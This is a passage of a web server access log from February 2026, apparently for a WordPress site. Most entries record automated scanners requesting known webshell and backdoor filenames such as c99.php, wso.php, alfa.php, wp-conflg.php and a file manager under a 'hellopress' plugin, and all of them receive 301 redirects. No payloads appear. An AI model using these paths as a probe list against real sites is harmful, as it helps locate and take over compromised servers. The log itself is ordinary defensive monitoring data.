/C.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:33:44 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:33:47 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:33:51 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:26 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:31 +0300] "GET /shas.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:09 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:36:13 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 104.248.224.81 - - [25/Feb/2026:21:22:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 4.204.200.32 - - [25/Feb/2026:21:34:23 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:44 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:48 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:52 +0300] "GET /samiri.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:55 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:38:04 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:38:07 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:33:31 +0300] "GET /work.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:34:39 +0300] "GET /seetox.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:04 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:08 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [25/Feb/2026:21:35:11 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 18.218.77.43 - - [25/Feb/2026:23:08:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 20.220.211.253 - - [25/Feb/2026:23:12:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.230.73 - - [25/Feb/2026:23:07:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 223.244.35.77 - - [25/Feb/2026:23:21:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.71.184.165 - - [25/Feb/2026:23:45:32 +0300] "GET /ultra.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:13 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:44 +0300] "GET /dejavu.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:46 +0300] "GET /CLA.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:50 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:58 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:05 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:09 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:41 +0300] "GET /file8.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:02 +0300] "GET /build.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:34 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:37 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:55 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:58 +0300] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:41 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:44 +0300] "GET /wp-mn.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:51 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:36 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:45:27 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:15 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:56 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:03 +0300] "GET /law.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:29 +0300] "GET /file4.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:17 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:12 +0300] "GET /lc.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:15 +0300] "GET /abe.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:45:49 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:05 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:28 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:40 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:35 +0300] "GET /u.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:41 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:12 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:16 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:43 +0300] "GET /golden.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:47 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:49 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:15 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:16 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:43 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:04 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:32 +0300] "GET /inject.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:35 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:39 +0300] "GET /pro.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:20 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:32 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:36 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:08 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:56 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:20 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:22 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:45:14 +0300] "GET /old.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:45:39 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:10 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:15 +0300] "GET /check.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:26 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:46 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:50 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:46:57 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:26 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:33 +0300] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:46 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:38 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:22 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:25 +0300] "GET /file17.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:47 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:52:28 +0300] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:09 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:26 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 157.15.40.62 - - [26/Feb/2026:00:09:48 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 13.71.184.165 - - [25/Feb/2026:23:45:09 +0300] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:12 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:57 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:51 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:31 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:45:55 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:43 +0300] "GET /debug.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:46 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:49 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:52 +0300] "GET /999.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:55 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:47:58 +0300] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:48:51 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:26 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:50:22 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:56 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:59 +0300] "GET /build.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:59 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:03 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:07 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:44:55 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:19 +0300] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:31 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:49:50 +0300] "GET /file3.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:51:33 +0300] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:53:25 +0300] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:48 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:51 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.71.184.165 - - [25/Feb/2026:23:54:54 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 84.239.45.134 - - [26/Feb/2026:01:13:31 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "panscient.com" 84.239.45.134 - - [26/Feb/2026:01:13:31 +0300] "GET / HTTP/1.1" 301 795 "-" "panscient.com" 20.220.213.31 - - [26/Feb/2026:00:40:01 +0300] "GET /ivnnopon.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:40:04 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:40:11 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:40:14 +0300] "GET /update/g.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:40:17 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 49.51.132.100 - - [26/Feb/2026:00:38:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.213.31 - - [26/Feb/2026:00:40:32 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 47.250.214.99 - - [26/Feb/2026:00:51:42 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.155.129.131 - - [26/Feb/2026:01:35:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.213.31 - - [26/Feb/2026:00:39:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:39:50 +0300] "GET /aigcpsba.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:39:54 +0300] "GET /aqmpjaid.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:39:39 +0300] "GET /bpw.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:40:24 +0300] "GET /update/nf.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:00:40:27 +0300] "GET /nf.php HTTP/1.1" 301 795 "-" "-" 20.220.213.31 - - [26/Feb/2026:02:12:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 66.249.79.173 - - [26/Feb/2026:03:00:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 117.132.188.205 - - [26/Feb/2026:03:20:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 117.132.188.205 - - [26/Feb/2026:03:20:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 117.132.188.205 - - [26/Feb/2026:03:20:10 +0300] "GET /wp-content/uploads/theplus-addons/theplus-post-81.min.css?ver=1771907323 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 117.132.188.205 - - [26/Feb/2026:03:20:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 66.249.79.160 - - [26/Feb/2026:03:00:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 117.132.188.205 - - [26/Feb/2026:03:19:52 +0300] "GET /wp-content/uploads/theplus-addons/theplus-post-81.min.js?ver=1771907323 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 125.26.238.254 - - [26/Feb/2026:03:26:51 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 117.132.188.205 - - [26/Feb/2026:03:20:51 +0300] "GET /wp-content/uploads/slider/cache/0de5b12a92d1c2ff8cbdbb7a5fa2ead4/19452.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 117.132.188.205 - - [26/Feb/2026:03:19:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 117.132.188.205 - - [26/Feb/2026:03:20:50 +0300] "GET /wp-content/uploads/slider/cache/f2ed636f6666830104cd5efd8f0c6030/1027-1.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 4.205.17.183 - - [26/Feb/2026:04:29:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 144.172.114.76 - - [26/Feb/2026:06:05:50 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 44.197.132.187 - - [26/Feb/2026:06:28:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 207.180.241.56 - - [26/Feb/2026:06:03:44 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 49.234.192.248 - - [26/Feb/2026:05:29:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.36.109.115 - - [26/Feb/2026:05:25:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/93.8.2357.5" 43.157.188.74 - - [26/Feb/2026:06:45:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.138 - - [26/Feb/2026:08:05:23 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [26/Feb/2026:08:05:24 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [26/Feb/2026:08:05:22 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 51.68.107.141 - - [26/Feb/2026:07:28:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.107.141 - - [26/Feb/2026:07:28:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 194.26.192.138 - - [26/Feb/2026:08:05:22 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.165.70.220 - - [26/Feb/2026:07:37:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 136.144.43.52 - - [26/Feb/2026:07:58:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 194.26.192.138 - - [26/Feb/2026:08:05:22 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [26/Feb/2026:08:05:23 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [26/Feb/2026:08:05:23 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [26/Feb/2026:08:05:24 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [26/Feb/2026:08:05:24 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.185 - - [26/Feb/2026:09:05:39 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 159.223.107.120 - - [26/Feb/2026:09:23:29 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 217.154.234.180 - - [26/Feb/2026:09:20:46 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.94.31.185 - - [26/Feb/2026:09:05:27 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.94.31.185 - - [26/Feb/2026:09:05:21 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 182.42.105.144 - - [26/Feb/2026:12:12:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.150.69 - - [26/Feb/2026:12:31:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [26/Feb/2026:12:46:17 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:19 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:22 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:26 +0300] "GET /pouhg.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:29 +0300] "GET /vgtyu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:32 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:36 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:38 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:41 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:45 +0300] "GET /moshou.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:48 +0300] "GET /seetox.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:54 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:48:20 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:48:28 +0300] "GET /kolda.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:16 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:32 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:39 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 